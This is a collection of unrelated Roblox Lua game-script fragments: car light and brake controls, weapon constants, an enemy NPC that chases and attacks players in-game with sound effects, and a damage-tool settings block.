if car.Body.Light.on.Value==true then
car.Body.Light.on.Value=false
else
car.Body.Light.on.Value=true
end
elseif data['EnableBrakes'] then
car.Body.Brakes.on.Value=true
elseif data['DisableBrakes'] then
car.Body.Brakes.on.Value=false
elseif data['ToggleLeftBlink'] then
if car.Body.Left.on.Value==true then
car.Body.Left.on.Value=false
else
car.Body.Left.on.Value=true
end
elseif data['ToggleRightBlink'] then
if car.Body.Right.on.Value==true then
car.Body.Right.on.Value=false
else
car.Body.Right.on.Value=true
end
elseif data['ReverseOn'] then
car.Body.Reverse.on.Value=true
elseif data['ReverseOff'] then
car.Body.Reverse.on.Value=false
elseif data['ToggleStandlicht'] then
if LichtNum == 0 then
LichtNum = 2
car.Body.Headlight.on.Value = true
elseif LichtNum == 1 then
LichtNum = 2
car.Body.Headlight.on.Value = true
elseif LichtNum == 2 then
LichtNum = 3
car.Body.Highlight.on.Value = true
elseif LichtNum == 3 then
LichtNum = 1
car.Body.Highlight.on.Value = false
car.Body.Headlight.on.Value = false
end
elseif data["ToggleHazards"] then
if car.Body.hazards.Value == false then
car.Body.hazards.Value = true
wait(.35)
car.Body.Left.on.Value=false
car.Body.Right.on.Value=false
wait(.35)
car.Body.Left.on.Value=true
car.Body.Right.on.Value=true
elseif car.Body.hazards.Value == true then
car.Body.hazards.Value = false
car.Body.Left.on.Value=false
car.Body.Right.on.Value=false
end
end
end)
|
-----------------
--| Constants |--
-----------------
|
local SHOT_SPEED = 550
local SHOT_TIME = 0.6
local NOZZLE_OFFSET = Vector3.new(0, 0.4, -1.1)
local DEBOUNCE_TAG_NAME = 'Busy'
|
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]]
|
--
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,-0);
local OriginalC0=JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0;
function FindNearestBae()
local NoticeDistance=100;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("Torso");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("Torso")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(999);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
Wait(0.4);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
Wait(0.15);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=30;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
local NeckRotation=(JeffTheKiller:FindFirstChild("Torso").Position.Y-MainTarget.Parent:FindFirstChild("Head").Position.Y)/10;
if NeckRotation>-1.5 and NeckRotation<1.5 then
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=OriginalC0*CFrame.fromEulerAnglesXYZ(NeckRotation,0,0);
end;
if NeckRotation<-1.5 then
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,-0.993636549,0.112633869,0,0.112633869,0.993636549);
elseif NeckRotation>1.5 then
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,0.996671617,0.081521146,0,0.081521146,-0.996671617);
end;
else
end;
else
Notice=false;
NoticeDebounce=false;
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,-0);
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=500;
JeffTheKillerHumanoid.JumpPower=60;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end;
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 3 -- cooldown for use of the tool again
ZoneModelName = "TS Spin bone" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
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